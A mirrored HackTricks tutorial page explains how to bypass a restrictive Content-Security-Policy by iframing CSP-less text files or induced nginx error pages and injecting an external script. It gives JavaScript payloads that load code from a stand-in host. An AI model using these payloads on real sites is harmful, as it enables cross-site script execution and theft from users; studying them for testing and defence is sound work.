mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
95 lines
4.5 KiB
Markdown
95 lines
4.5 KiB
Markdown
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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A configuration such as:
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```
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Content-Security-Policy: default-src 'self' 'unsafe-inline';
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```
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Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
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Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
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### Via Text & Images
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It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:
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```javascript
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frame=document.createElement("iframe");
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frame.src="/css/bootstrap.min.css";
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document.body.appendChild(frame);
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script=document.createElement('script');
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script.src='//example.com/csp.js';
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window.frames[0].document.head.appendChild(script);
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```
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### Via Errors
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Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:
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```javascript
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// Inducing an nginx error
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frame=document.createElement("iframe");
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frame.src="/%2e%2e%2f";
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document.body.appendChild(frame);
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// Triggering an error with a long URL
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frame=document.createElement("iframe");
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frame.src="/"+"A".repeat(20000);
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document.body.appendChild(frame);
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// Generating an error via extensive cookies
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for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
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frame=document.createElement("iframe");
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frame.src="/";
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document.body.appendChild(frame);
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// Removal of cookies is crucial post-execution
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for(var i=0;i<5;i++){document.cookie=i+"="}
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```
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After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
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```javascript
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script=document.createElement('script');
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script.src='//example.com/csp.js';
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window.frames[0].document.head.appendChild(script);
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```
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## References
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* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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